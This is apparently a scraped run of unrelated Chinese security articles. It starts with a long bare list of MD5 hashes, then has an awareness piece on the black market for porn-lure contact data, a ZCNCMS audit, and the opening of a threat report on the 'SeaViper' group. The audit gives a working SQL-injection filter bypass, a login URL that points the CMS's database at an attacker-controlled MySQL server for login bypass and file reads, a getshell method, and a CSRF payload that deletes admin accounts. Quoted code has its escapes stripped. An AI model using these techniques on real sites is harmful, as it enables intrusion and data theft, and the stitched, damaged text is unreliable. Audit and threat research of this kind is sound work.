d3f774818ffdecc48625dbe759f22da9
d446b752625436f63fcfc5b83671024b
d49958fea371947d9ee3fba4ed153da6
d4b36a434163dcd09ddcef4c45f11383
d5f50b310c0c60da7b088072719f4aba
d81c1112f12e4ca6e89996f05e47d6fd
d85c360a1c8b4437a0a45e152f215f23
d8bab85237d2570dd469418192ca97f4
da2d0bd5d33be16d97d104cc2c5f7ca2
da7a32345cab92ec9e1f08265ef77873
da9ee1fcb6194439dbbbee64bcc6e961
db2693d9c8d849fdf3681b104a058048
db6cdab913c23f3c9c30ef0803f93374
db6d4d30ad00358f021dd1e6ee2ad0f3
dd6d433589cea52eacaad2862fffbbf3
dd97401fb5bb31b9cba6aadd3b1bfef0
de9baa65658410321dd454511d8a3cd2
dee1759b9720871e88878926b78cfcf1
df5110bf8750310d088884e9c2305723
df91716edc198e72e63a9652de5ec6ce
e039cacb2d14802b67af32a3102cdf73
e26cd5ebebcaf9f62c650ecfe2289988
e4207bbe38511a212434966ec5c135a5
e50d02ead6a8c4eeaa83c444b7f0a8e7
e565dd6d6f850cf9a9741276c8b5985e
e57e9bca9903e1ad0250718cc1c45816
e5ae452174337c7274b8c995ed6c4e85
e65284399b55321a8bc5a3e003c48dfc
e790ad800eacd7b1c90e67368260d997
e7d1fad454d12ad580ba2d209e1338e4
e85f88f879e2f00ce3ab38f357ecc5ce
e87d9e8036b7615bf8e07494e25e19b0
e88a411d1842d085087cf6249ea99677
e9e610921ef8d871e35c2f9ccbdaf687
ea068adaa73b174b83b91225bf02ca7f
ea77f24e500c3b590674acc34930e63a
ea8ced3956ffd44d0a983387d781e071
eab3f3a3cf185abdbdfd5f3feb5d8572
eaba44f3c5dcda57ce69f940f1fd98b4
eac07f738db7c2d49d82decd21be0b2c
eae9c7674a0e4c627c5c33fbf26bd6e2
ec8c17d44b495aa66995aed3985ed67e
ef90442d3117b4032d0a913e0845a1ae
efe6322d25e9850c5bd88617125fd670
f05d0106e3bba911c0b093d4d041e501
f1181952d82d8bf542950761b88a4d8e
f20bc7f4377edc8bf0972d6c4d547097
f20e714854a765caf2c6116834844cbf
f21678eb739ba80d31ab61f79f59e659
f32da13e3bb869c305e64a4c7ba51b0e
f3dee2feb796e01f0f5f15b7ce6a1220
f413fdc8e51634de15414e1594fe3da2
f7660bcff3e87dd211b7fa960b8bd00d
f7809a1fe4498429632c5d94ad104abe
f7a117bfddb61b8e83ce2a38754c273d
f7d5c0338fc5e3ee2331eb4ce9bf70b3
f8254e0685833ff64a78f76e5c0baf05
f8dad9d10c2c5c524aca37980cb8d9d1
f914a4dd8090cc8cd7b3d662158d5c3b
f95f16597c9736e50601618ea311de51
fa1cfc670345aad1ad420476529aa3fb
fa257f1bcbde1ecb36ac9e89d19c7e00
fa4acdfc26d42d53f9b2fc29d624497d
fa6ba296dc626a0611c3ff6c8d73a031
fa77a0d1946a2a56da7b790573cd7862
fab6e47a5ef1b530420ab3e5bcdee974
faeb67395d2a46ff3cc806257675843a
fb97bef91d55e81b023edb29d1232b43
fc6f02528c33bff1a0f70e26a95c8851
fccff874f3f1147ff7d704f316c3004b
fea86f27a63d9edb7c0e04090de43d53
feb38285446f0741bab5eb38294c80df
fef24834a8ce8b2b5b45056a08f5b282
07637ef1b515cfcd7ee8b80ed1735071
2c3fc05398cdca35022c49820e91476f
31d8c4a578f91e453f9f33acd3d7bec7
35a66c27cdec796823dcdffb38e45ca2
390c779acc4d46e6e5c25831338886c0
3d9a8e132a0970bd9a420a3e48c2b6d5
3da533314a396828b3e3da0af25c4ced
594f197866918c0995b92c60fc6bdf5a
5b79ccdf62525f923ef5fd9387ca2afa
6c778e9f2789a685247a65fe4d240fa1
7a268e7141a4e989eff7f87280e916ce
7dfc3102cd0f81204af8a9fc7f586a2f
9ffd818e374a2c1724127cb372ae3e3b
a8c4d0694ba8e5d42676182a2382f614
b3fdd8c214a7d76d23058dc4f7295877
bae55dc1a37e235ac9a991b3f71ee3ba
c0b473e14f80dbfc1abda743e6e49c7a
01ac0114755c4b30b396d3e254fb6458
0213560e73d819e6a3ba07d10d54055b
0281f17102eb0d4d272707a287eaa971
06737e9ac8304d167a0ec62b29ab285c
0baaccbbcd2ef88a08e2c1740a9a7154
0c94a21527f9bec1ff41c345a790f469
0d7e87da7a561f74efd661fa6e6db362
0e1974ef831854a56b7bc159cbc628bd
0f695beaddccd6487a85092601281889
119ed64da89aa60720814d042a0bf9cb
14061285e7c0484add771f7b5f7b4ca4
17f36648bdadbdaf37f779e2fadaeea8
1d898c336f877e60d420a0bb7a126c2b
1e67d6130580cb541150789429a963fd
1eeccf5961584ecda2bb7a3a662f51c1
1f52f096d65b867f74f51c7448a48d15
213e9686350abfca63ccf4a3015c551c
241fc32856ff7517a3545d42d9d80866
25ce38ac7c98d4c1fe7a45694dc689da
25ff7dd2f8f7bb264f9d56ae10406137
29384f5e0097785eff87154c8d32d16b
2ac6921981cd2c57b4ffd1a91b881f15
2c268e55cc394b0d59182ad5d00f4cad
2c6193db50a68fffb1694e22585ffd18
2cce567e8238ef3db17cef6ad81f5aa1
2ccf64d4b255863f9d7860fc6f075290
2dfdcae3040d6c1c3b161e00418d0144
2e9a562bf220958acaca9df8caeb58d4
3086dc86daa65b217605db6cf3e63e06
3107dccf83321abbc838eebd70765831
310e4a7e76424c092025eee9842a8d92
312e8d861b0a544af4033d00456ae390
31b21221690e43c6b364ab72d0a1ca1e
33d5f30bb01ea4ebd6823e1994fc8386
356d52179d8235f6d10df36723cd7831
38bcc65dc3d77074986499c4f3995ad0
390b11d278e873213295776e5003e65b
393ab525dfc7ac5acd005abf97ba5c36
3bb4dbf262cbcba8be9775c245bb20af
3e2b1df95e5ab9159c886521792f7b5c
404acc17b0fe449009bd36103b1e8701
465a9c55757c0996e6174dbfec6ec030
4b99aaf85d1050fa87293bafe11ccb2a
4d0f56123f3ad252ce36e94780f01322
4d33c33538bcecb7ad6b33eca8216b4c
4d7abeb2aee4acbfb322d1fe9e5518d5
4d8cbd4e1319045478f05b9f0deca4aa
4de33b3ff993253d1278928e7855b23b
4f079cd56d809eb76ffc7f9c69351e07
4f664351c3f5f2b7b87aa140ce93fccc
4f87642fe43586e12bec2c465ba45d98
51de3a71aead28f38265347cb0502c93
5735486d0256fb96e8875d38ecab8efa
5757e2628074ca3df3cd8d0ac1ee3f9d
59e4fbf17a7d7f0027beb56bd1dee399
5ab1b4d95894a1acf3a05c8850b70fe4
5b045bc16dffa2d0dea5cccb26a0f216
6233f0d22b2100d2777856b9771e9f25
62674d3383538c5e5da8346d10fd8009
627f321f94ca6d45c76d77eadaab7285
6443868e9de1a2acec25a1ecffe6cc61
65b148ac604dfdf66250a8933daa4a29
66db15572c1c1b805ffae06a3a26b591
67b7c3109a590331a3de1687379fa946
67bb7ade5909c556873f372222975ba9
68c5b7af4ad9f97aa66f3afa713c0bf7
6957d69f0c89ceb1b524aa0311b070fe
6bdb8b0cd4d31497e62f12a9dc2c36e1
7194184ebaa23ae54228dd0faaab0405
76c6b14e88cf6d0f8f650cecf2a0d27a
773fb4430f3e6a64cad200fda3b0ce9b
79582f2cb562b72d1272a89d65d65c10
797ed665a869a3a68e17c6d8006fd7f1
7a360d12aa40416650bdacb8abccaff8
7b53716cc00e980794fe6257fa2e4ec9
7c8fe2f823e8ba30b2d44c91b359b80b
7e51f5dcd112a9c9eed238e871433782
7e796c3c646ff87997e04b66069d2d03
7fe7d4683ffedf5b89b4d0175ff7c934
80d406dd3e580c2d5dcedc6de8f15185
8139aab3202d676d5ecedeed2acccbfd
869804b92e8dd205f94071f050ce073e
883ebd8b8653bc3ac17ad5198c8cd895
894dae40a9f0d7c4f85a914248baa158
8dff80d66b95bdeaf911fddf06a0d500
93ac7fdb690a27a3dd9025dbb6443b27
96f350b84301220ecc21daa05e7ffa86
973e0429007fe9cbc0b2c553aa7293b2
9800ec99a305aa3da6641211f114b85f
98b5ed6dd80ac22c67e005dfa1f66fb1
9e743d87c3dacf3203e72cd3d75f2881
9f8d1b3600d14b285b81551eb47a9333
9febe4cdd20a3edaeeb8907a4f17c5eb
a0883567b2f2f900d3ad24bdb0841d47
a12daf7833d4cff0f6fe5e30a4f9f336
a13afa3fe243a21aa5ae24b5061c6165
a26bf4902e4642acc5359507be6ed338
a296104d17eaeffd35047529eb3043fd
a3b0cc629be43aefc87de8d37ba15bc0
a3f50e03d6cd5e61456c0f81651f9c0f
a67cea2dcaf1442d2532877bc839a8ad
a82cb43ae71a6308b88b04a6089d60af
ad24522f93c8ef3de47a08d1c26f5c80
adbf709e2ee0114dceac4cd8490bbd76
b339a763c3ed84358a4c461a3688b093
b4595d278910f7d91fff173835bbce16
b60eec54c4bf2b81730ac07624920035
b6bc29ac2d7842ec1d8fc168169b9e2f
b7d1e13cfa94007fe9b62fdf604790a5
b84001254e149e933de9d7e1a06a383c
b8fb59841b143ce087fac5ddeaaffa67
b95da0d3b8d85b947b7c4147be5c9b36
bc5517e5ff0792770e288b22518e3eb1
bf38f26499da0f59a8cf91ad90b073da
bf6668af188308b3bd18b51bfda90a29
bfc6e11d63935aea8e0274b2094d2b3b
c026500418002aecd1ea93b950803640
c27423249bf2406b0f62041158a4e83f
c37b0115b6776611fe6cc348d1ec2853
c659fe53ba71b9726db90bcf61cd74c4
c7b598d7d2f9599c461129ff6695d137
c8f0db2c7e5d5ab52dd0b08543de5819
ce7f9f9ca6f12f8c1d798973aa6ef558
d0805350c1d4395bba9eb24893a76ad8
d149642eeadb7eaa5a3af7c2e1c85f2c
d17b63854ecf144875ee69f7266b18e6
d19e58cce82ee7b1e6b64248e87b2591
d4ea51b72627c9a962011e24891bb26e
d509925f26eecdfbb383477f54ee42df
d511eac2399479cd748a4c4f5e63c294
d520d5525b190b1a5eacaba1d4ad06bc
d93d5ad902e4fc0a0b1307b5770500d0
d9875a2d923c897db5df531e7c863a98
db417305020cc3f5b941787335c8f16d
decb77cac9435ed208849fc7c73b3763
e009a4d49585bf5ce1364c2a848b2dd3
e01b6a415a919a4868363c6afdc36f10
e24e1c0ac29bc3b0f94fed26ed6e0a66
e2aa1d7af27035b25520f69c931d1110
e41c83b34a6ada64ed97e76a2f9e7bb3
e5a7b9e2bf18ed76d6f6c9787563de9e
e5cc18e1a1cc5b3a750b6078601338fe
e7830bc97cc599c41281463aae59f6e3
e875ad75f1a4d8b92f5d1bd11315773e
ea7cdbd0d3c814dc33bd08e42d99dac4
eae89f793f23d6eee185d21619d13d7b
eb314fd8195cecc97e91a2ccccc87027
eb4466efe9a5ec9dfa5e6349623c896e
efcc4883c4304e7a0debb645e11028d8
efdf3c70b03ab8e62bdf415345c97c2c
f231c0e5492529db6fcc6f09b2820b8c
f32de0220bf04c0ea74569684151e62a
f56cdd43ec9de5b2c8c1348fb942c201
f5b05d39fa57927007d00106624ff6dd
f5f195fa5a1d0c5b800b1877007c89dc
f94603c591b669b7c0cc08eb31fd44c4
fad8b1244f173092df964ecca66af1c6
fe10d30a08ea87d3f76aa9cbbfe1a09e
fe32ba7b75191efcdd86682e16ef7515
feefded835d143eb2a307d280262e0dd
0206cc69334cc2b98f8914a387413bab
03c3c14f141d2664b0979130a4c39a3e
03deea3d2161e8f5ee3289bbc2095a22
10bd041621ed610520792c4652b285e7
132c726872a43886ba295f79ca484792
1391c757a48b30082df243b31e9be7f0
1abbd5f994256a48f23365debd7bb76f
1dc0397ed4ed0cc8f35a754e7efdf6ca
204021a8b6d1a0cdb9d8eddd49ce9353
25941ab418479db69a0bf5126c995578
37159af7fb3e169ad5dc339c10b0b50a
3bc2ff2ea43fd93a1cefa7031f20ae80
4780a14c5e826fe2ea0c22fa36eff59b
57ffe3d243ea9e092b6d4e4eec9c9c67
5de9b14cd2ec2b39b7ce4ebde377549a
62003b1f56cff5251e4224a635c5b041
63bed48254b8f20b4d83ad5b88a97adc
672dc5ad606d7b948a35a1ed4707edea
69a38b9de5bf4d8ffd1b60cc9a70d8f8
6bba78f457b6695ad72c3f3df55b1799
70eedd926fee776fa3d20f6005c43792
75d6dc4565817a3b6a245ed82b7cf2c3
79d8ce3847f2ee7a505b14316221fefd
7c1f9cef5c830c04f613f7760f0b25be
8249626d709b5fe188c456a532b61ba9
9c9380aff157fbac3f3079568790428c
9cb3057e116941401d0dec6571dc272a
a8a45869a725998258177c9ea279a592
ad0f7ee505f5cbe6d52d0f0d9dc7fe66
c2bef41c3aef2e2cdf07ec7a654c551a
c853ecab957c2c0fe383bc7cf540682a
ca1071123ac516ec76f26000cf429b03
cf61df1de333c903df5727ab24e9026c
d382fd6ff9bda64804def19ecad5a9b7
d784ad094997064ec3a85df3cdd3d6c2
ea9d42747f3284ae5c390e6333bf84f9
f0dc2427f484c91eb23e18f4268e9321
f5e3f48b2828c4d291a51ef842fe6947
## 参考
[1].<http://minexmr.com/>
审核人：yiwang 编辑：边边 | 社区文章 |
# 买色情“电影资源”？小心被贴“色粉”标签黑市出卖
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本以为加了好友买了个“小视频”
却发现自己被打了色情标签
信息还被二手贩子打包倒卖
色粉指的是通过暴露、情色、挑逗等内容吸引来的粉丝，这些粉丝的信息称为色粉。之前我们分析过利用色情产业的暴增系统、色情网站进行色粉引流的手法。二手交易平台、社交软件等平台也是色情引流的重灾区。
## “色粉”产业链的三个阶段
### 第一阶段：引流
色粉引流手法较多，除之前分析过的二手交易平台、社交软件里用户评论区，还有 **“举牌ID”、访问QQ空间、小电影、抖音私信**
等方式。以及针对特定人群特定软件的全自动引流脚本。
**1、举牌ID法**
举牌ID指的是手持身份信息，吸引别人添加的引流方式。此类举牌照需求旺盛，衍生出以下三种场景。
①在线举牌照合成服务。配合图片模板，生成举牌照。
②真人定制举牌照。电商平台提供真人拍摄角度、文字内容服务。
③真人举牌社区。在网站内可以阅览举牌照片，定制举牌照片以及出售定制举牌照片。
**2、QQ空间法**
QQ账号通过进行身份包装后，访问他人空间，通过诱惑性的头像进行引流。
**3、微博跳转法**
在微博评论中，跳过小号带大号的方式，吸引他人进行进入大号的微博。
**4、小电影法**
在社群或公众号等渠道，以色情电影为名引流。
**5、社交软件引流**
利用套图对身份包装后，在微信、QQ、抖音、快手、探探等各种社交平台注册账号。借助脚本类工具配合安卓模拟机进行私信、评论、点赞，引流操作。脚本类工具如微信的虚拟定位站街、各类社交软件的私信脚本。
### 第二阶段：分类
通过多种引流手段获得色粉数据后，对色粉进行类型和来源的分类。
n类型分类：交友女粉、交友男粉、相亲粉、片源粉（色情电影）等
n出粉平台：伊对粉、珍爱粉、百合粉等
### 第三阶段：变现
收集到色粉数据后，就开始了变现环节，色粉使用的方式角度，以下为其常见的方式。
**1、婚恋骗局（杀猪盘）**
①以恋爱为幌子，编造各种理由，索要红包转账。
②以网络交友为名，诱导在虚假股票、博彩平台投资。
**2、收费交友软件**
通过色情引流来的粉丝，引导至交友APP，通过自动应答机器人，诱导付费。此类平台，聊天、视频、语音等功能需缴费后才能使用
**3、售卖产品**
向对方出售色情电影、黑五类产品（医药、医疗器械、丰胸、瘦身、增高）、理财(博彩、股票)
**4、虚假色情网站、色情直播APP**
向其推荐收费色情网站，色情直播应用。部分虚假色情网站，付费后仍无法观看。
**5、裸聊勒索诈骗**
以交友为名，进行视频裸聊。裸聊过程中录制用户裸聊画面，进行敲诈勒索。
## 安全课堂
目前，色情引流、色粉转化、色粉买卖已形成完成的产业链，意味着本以为买了个“小视频”，自己的信息被打了色情标签，被二手贩子倒卖到“黑”市场。所以，千万别被情色迷惑了双眼. | 社区文章 |
# ZCNCMS审计及漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
因为实际目标的需要审计了一下这个古老的CMS，接下来的内容将会包括本人发现漏洞代码及漏洞的利用过程、原有漏洞的细节分析、全局防SQL注入ids绕过细节分析等。
## 漏洞利用
先来看一下漏洞的利用效果
### 后台SQL注入绕过ids
该cms比较古老，与之前的dedecms同样用了全局的08sec ids过滤sql注入，后面会详细分析绕过的方法原理（网上也有的，说一下自己见解）
首先是比较容易理解的payload:
这里payload改为: and extractvalue(1,concat(0x7e,(database()),0x7e))也可，但利用受ids限制。
其次是绕过全局payload:
### 任意密码登录后台
外网vps安装mysql服务并开启允许远程访问，访问目标url。
eg:
[http://localhost/zcncms/admin/?c=login&db_host=vps_ip&db_name=root&db_pass=root&db_table=zcncms](http://localhost/zcncms/admin/?c=login&db_host=vps_ip&db_name=root&db_pass=root&db_table=zcncms)
### 客户端任意文件读取
以上的利用方法仅限于默认安装数据库，数据库名及表和列名都不变的情况。因此想到利用前段时间比较火的MySQL LOAD DATA LOCAL
INFILE任意客户端文件读取。
其他漏洞如后台CSRF及后台getshell不放图了，下面具体分析一下这些漏洞成因及修复方法。
## 漏洞代码分析
分析的漏洞包括，SQL注入、变量覆盖、CSRF、修改配置文件getshell。
### SQL注入漏洞
首先看漏洞产生的代码部分
//module/menus/admincontroller/menus.php
//第33行至63行
……
if($parentid == 0) {
$rootid = 0;
} else{
$parent = $menus->GetInfo('',' id = '.$parentid);
if($parent['parentid'] == 0) {
$rootid = $parentid;
} else{
$rootid = $parent['rootid'];
}
}
……
由于$parentid变量没有intval强制转换类型并且可控，因此漏洞发生。接下来分析绕过全局防注入ids。
//db.class.php
function SafeSql($db_string,$querytype='select'){
//var_dump($db_string);
//完整的SQL检查
//$pos = '';
//$old_pos = '';
$pos = 0;
$old_pos = 0;
$clean = '';
if(empty($db_string)){
return false;
}
while (true){
$pos = strpos($db_string, ''', $pos + 1);
if ($pos === false)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true)
{
$pos1 = strpos($db_string, ''', $pos + 1);
$pos2 = strpos($db_string, '\', $pos + 1);
if ($pos1 === false)
{
break;
}
elseif ($pos2 == false || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~s+~s' ), array(' '), $clean)));
//老版本的Mysql并不支持union，常用的程序里也不使用union，但是一些黑客使用它，所以检查它
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="union detect";
}
//发布版本的程序可能比较少包括--,#这样的注释，但是黑客经常使用它们
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false)
{
$fail = true;
$error="comment detect";
}
//这些函数不会被使用，但是黑客会用它来操作文件，down掉数据库
elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])intos+outfile($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="file fun detect";
}
//老版本的MYSQL不支持子查询，我们的程序里可能也用得少，但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~([^)]*?select~s', $clean) != 0)
{
$fail = true;
$error="sub select detect";
}
if (!empty($fail))
{
//fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$errorrn");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{
return $db_string;
}
}
代码的前部分简单来说就是获取两个单引号中的内容并替换为$s$，后部分获取$clean并根据waf规则进行黑名单检测。很明显如果我们可以使得payload被两个单引号包裹就可以绕过ids的检测，但是由于特殊字符会被转义，导致两个“’”引起报错无法执行payload。利用MySQL用户自定义变量的方法绕过转义报错。
在mysql中，“@”+字符串代表的是用户定义的变量。通过“:=”进行赋值，反引号仅作标识使用。
因此当传入的参数中包含用户自定义的变量
“@`‘`”时，php处理时匹配到单引号进行替换$s$，带入ids检测，检测通过，payload进入mysql特殊字符无论怎么发生转义都不影响，比如“@`’`”同样仅仅代表一个名字为“’”的变量。
无码言x，直接看例子比较容易懂。
可能返回这样的结果比较难以理解（我开始的确不怎么理解），那换一种语法应该就懂了。
可以发现，在mysql中where条件部分处理的逻辑顺序是，先将所有id与1比对，相同返回1，1与后面的变量@`anquanke`进行比较，相同则返回1。同样的道理id=1=`qq`是id=1返回的结果与字段qq中的值进行比较，这里存在类型转换（0=’admin’）。至于@`’`无返回结果，因为该变量用户并没有定义所以不存在为NULL。
至此，利用该特性绕过SQL注入检测机制。（另：任何运算符都可达到同样效果。）
### 变量覆盖
//index.php
error_reporting(E_ALL | E_STRICT);
define('WEB_IN', '1');
define('WEB_APP','admin');
define('WEB_ROOT', dirname(__FILE__).'/');
define('WEB_INC', WEB_ROOT.'../include/');
define('WEB_MOD', WEB_INC.'model/');
define('WEB_TPL',WEB_ROOT.'templates/default/');
define('WEB_DATA',WEB_ROOT.'../data/');
define('WEB_CACHE',WEB_ROOT.'../data/cache/');
define('WEB_MODULE', WEB_ROOT.'../module/');
//引入common
//echo WEB_APP;
require_once(WEB_INC.'/common.inc.php');
// var_dump($db_type,$db_host,$db_name,$db_pass,$db_table,$db_ut,$db_tablepre);
$config['linkurlmodeadmin'] = $config['linkurlmode'];
$config['linkurlmode'] = 0;
//include(WEB_INC.'forbiddenip.inc.php');
//include(WEB_INC.'close.inc.php');
include(WEB_INC.'rootstart.inc.php');
包含了common.inc.php文件，直接看该文件的导致变量覆盖的代码部分。
//56-81行
//引入配置文件 20120726解决方案，数据库类型
require(WEB_INC.'/config.inc.php');
//foreach(Array('_GET','_POST','_COOKIE') as $_request) 取消cookie自动生成变量
foreach(Array('_GET','_POST') as $_request)
{
foreach($$_request as $_k => $_v) {
//------------------20130128校验变量名
if(strstr($_k, '_') == $_k){
echo 'code:re_all';
exit;
}
//可考虑增加变量检测，减少变量覆盖
//-------------------------- ${$_k} = _GetRequest($_v);
}
}
//unset($_GET,$_POST);
//时区
if(PHP_VERSION > '5.1')
{
@date_default_timezone_set('PRC');
}
//引入配置文件
require(WEB_INC.'/config.inc.php');
可以通过get或post方式传参覆盖掉没有初始化的变量。在代码56,81行处开始，可以发现分别包含了config.inc.php文件，漏洞产生的根本原因在该文件。
//config.inc.php
<?php
//默认配置文件
//数据库
defined( 'WEB_IN' ) or die( 'Restricted access' );
require_once('dataconfig.inc.php');
/*
$db_type='2';
$host='localhost';
$name='root';
$pass='';
$table='pj_zcncms';
$tablepre='';
$ut='utf8';
*/
这里使用require_once包含了dataconfig.inc.php文件，由于require_once的特性，第二次包含并不起作用，并且变量覆盖产生在第一次包含config文件之后，所以我们成功的覆盖掉了数据库配置文件变量，导致了任意用户后台登录以及任意客户端文件读取漏洞。
### 后台getshell
//include/string.class.php 35-62行
function safe($msg)
{
if(!$msg && $msg != '0')
{
return false;
}
if(is_array($msg))
{
foreach($msg AS $key=>$value)
{
$msg[$key] = $this->safe($value);
}
}
else
{
$msg = trim($msg);
//$old = array("&"," ","'",'"',"t","r");
//$new = array("&"," ","'","""," ","");
$old = array("&"," ","'",'"',"t");
$new = array("&"," ","'","""," ");
$msg = str_replace($old,$new,$msg);
$msg = str_replace(" "," ",$msg);
$old = array("/<script(.*)</script>/isU","/<frame(.*)>/isU","/</fram(.*)>/isU","/<iframe(.*)>/isU","/</ifram(.*)>/isU","/<style(.*)</style>/isU");
$new = array("","","","","","");
$msg = preg_replace($old,$new,$msg);
}
return $msg;
}
后台修改配置处过滤的核心代码如上所示，可以利用反斜线转义引号，插入php代码成功getshell。
### CSRF任意管理员账户删除
//users.php
switch($a)
{
......
case 'del'://
$ids = array();
if(isset($id)){
if(is_array($id)){
$ids = $id;
} else {
$ids[] = $id;
}
} else {
errorinfo('变量错误','');
}
foreach($ids as $key=>$value){
$value = intval($value);
if($value <= 0){
errorinfo('变量错误','');
}
}
if($users->Del($ids)){
errorinfo('删除成功','');
}else{
errorinfo('删除失败','');
}
break;
......
}
通过get方式传参，并且没有验证referer和token。简单利用如下：
//payload
<img src="http://localhost/zcncms-1.2.14/zcncms/admin/?c=users&a=del&id=12" >
## 总结
一定还存在其他漏洞，但是考虑时间和利弊就暂时审计这些，起初目的就是找个进后台的办法，已经实现即可。审计和学习已有漏洞时遇到的最大问题是，当时对SQL注入ids绕过存在很多细节性的问题，还好在写文章时想通了。 | 社区文章 |
**作者：启明星辰ADLab
原文链接：<https://mp.weixin.qq.com/s/n3HcxJT-oDPeVMtekhXcIg>**
### 一、分析背景
2020年8月中旬，启明星辰ADLab发现了一起新型攻击活动，该攻击背后的黑客组织利用各种技术手段做掩护已经活跃了多年，但黑客组织及攻击活动的情报信息依然未被公开披露。本文将针对本次攻击活动及其背后的黑客组织进行深入分析，并公开我们溯源出的黑客组织成员以及其使用的基础设施、攻击工具、攻击手法等的信息。在分析攻击活动的过程中，我们发现该黑客组织不仅是针对企业进行定向攻击的黑客团伙，而且还是长期从事物联网攻击的惯犯。为了便于描述该黑客组织，我们将其命名为“海毒蛇(SeaViper)”组织，该组织具有APT攻击和物联网攻击的特性，定向攻击的目标集中在金融机构、政府事业单位、精密仪器、酒店和旅游业等相关的实体，物联网攻击涉x86、x64、arm、spc、mips、ppc等多个CPU平台，甚至还包含摩托罗拉的广泛用于街机和家用游戏机微处理器m68和m68k,以及日立的用于多媒体终端、电视游乐器或机顶盒的微处理器sh4。
“海毒蛇”曾经使用如CVE-2017-0199、CVE-2017-8570之类的office漏洞来攻击企事业单位，同时也使用了大量物联网设备的漏洞来构建物联网僵尸网络。从黑客的历史活动迹象上可以看出该黑客组织是一个以经济利益为目标的犯罪团伙。此外针对企业攻击中，“海毒蛇”首次利用了诱饵文档的批注信息来隐藏恶意代码，同时采用多级跳板、混淆加密等等手段来规避追踪与检测。
在溯源分析过程中我们发现，该黑客组织极有可能来自于南亚的某个国家，至少包含有6名成员，其中一位负责恶意代码的编写工作，其他人负责配置并投放恶意代码，溯源到的6名成员的名称来自于黑客所使用的计算机用户名（可能并不是其真实名称）。我们首先通过恶意代码的PDB路径及其广泛制作的恶意文件锁定了其中一个成员“Eng
Moha”，其后通过大量的数据分析锁定了其他五名成员：“mnb joker”、“Lye Gomes”、“Joselio Bonin”、“Emanoel
Brito”和“aSmarany”。其中，“Eng
Moha”负责恶意程序开发、漏洞利用等工作，其他人负责攻击代码的配置和分发。在过去的一年多时间里，该黑客组织先后利用Gafgyt、Mirai木马组建僵尸网络进行DDoS攻击、并利用OneDrive云存储空间和鱼叉式网络等方式向商业公司投放AgentTesla、Remcos
RAT和Masslogger窃密木马牟利。同时，“海毒蛇”还持有大量恶意域名和用于托管恶意文件的虚拟主机等网络基础设施。通过深度的关联，我们发现“海毒蛇”组织似乎与Gorgon
APT组织还有一定关联。
### 二、追踪与溯源
#### 2.1 缘起
2020年8月中旬，启明星辰ADLab监测到一封题为“电子转账付款账单”的恶意邮件，该邮件以“美国银行”的名义发起钓鱼邮件攻击，其附件为一个excel表格文件(图1为本次攻击的一个邮件样本，目标为美国阿拉巴马州亨茨维尔市公共事业公司“Huntsville
Utilities”)，通过多级代码跳转最终向目标植入Remcos
RAT，以窃取目标主机的机密信息。在初步分析后,除了零散的样本信息外，我们没有在公开情报和私有情报库中找到任何与攻击及攻击背后的黑客组织相关的信息。通过对基础设施的关联分析，发现该黑客组织与多次物联网攻击有着紧密的关系，因此我们决定对本次攻击活动及其背后的攻击团伙进行一次摸底。我们很快关联到8月初另外几起相同手法的攻击，这几起攻击伪装成了“美国大通银行”和“美国富国银行”向金融机构“ENGS”投放攻击代码（图2）。
图1 伪装成美国银行的钓鱼邮件
图2 伪装成大通银行的钓鱼邮件
为了还原“海毒蛇”攻击活动的全貌，我们对其活动的线索进行全面地收集和分析，发现了他们使用的大量基础设施、定向攻击样本、使用的漏洞以及攻击物联网设备所使用的一些攻击武器，并进一步挖掘出了该组织的组成成员。
#### 2.2 基础设施分析与溯源
在追踪黑客的初期，我们首选黑客使用的几个典型控制命令服务器进行分析，从定向攻击的几个样本中提取的基础设施来看，用于控制Remcos
RAT的服务器“boyflourish.myq-see.com”解析到了IP为“79.134.225.32”的这台主机。同时，我们发现另外一个解析到该IP地址的黑客域名“rapture666.myq-see.com”，该域名是黑客另外一批Remcos
RAT的控制命令服务器。由于黑客对使用的域名都做了隐私保护，因此从域名注册信息上无法进一步得到溯源线索。但黑客域名“rapture666.myq-see.com”所控制的这批木马文件让我们进一步找到了黑客的另外一个服务器“plaitt.com”，该服务器主要用于托管恶意代码。我们通过解析域名“plaitt.com”得到另外一个IP地址“104.219.248.49”，并通过该IP地址关联到了成百上千个域名，这些域名当前都同时唯一解析到“104.219.248.49”。起初，我们以为这些域名可能与黑客有关，但经过我们查证后发现这些域名均是正常域名，这些域名绑定的网站分布于“房地产公司”、“社区银行”、“网站设计公司”和“购物网站”等多个行业，也包含一些个人站点，部分域名信息如表1。
域名 | 说明
---|---
www.propiedadescarazo.com | 房地产公司网站
www.carecounselling.co.uk | 焦虑护理咨询网站
www.aerainfosolutions.com | 网站设计公司网站
www.api.btcmagnum.com | 数字投资公司网站
www.trustwalletbd.com | 货币网站
www.celebgod.com | 娱乐时尚网站
www.plaitt.com | 恶意文件托管服务器
www.shayari.basantmallick.com | 个人站点
www.younginnovatorslearning.org | 个人站点
www.otechvich.com | 购物网站
www.passionsq.com | 旅游相关网站
www.fo2sh.info | 个人站点
www.rockshorebank.com | 社区银行网站
www.aliance-finances.com | 金融公司网站
www.codycruz.com | 个人站点
表1 关联到的部分域名
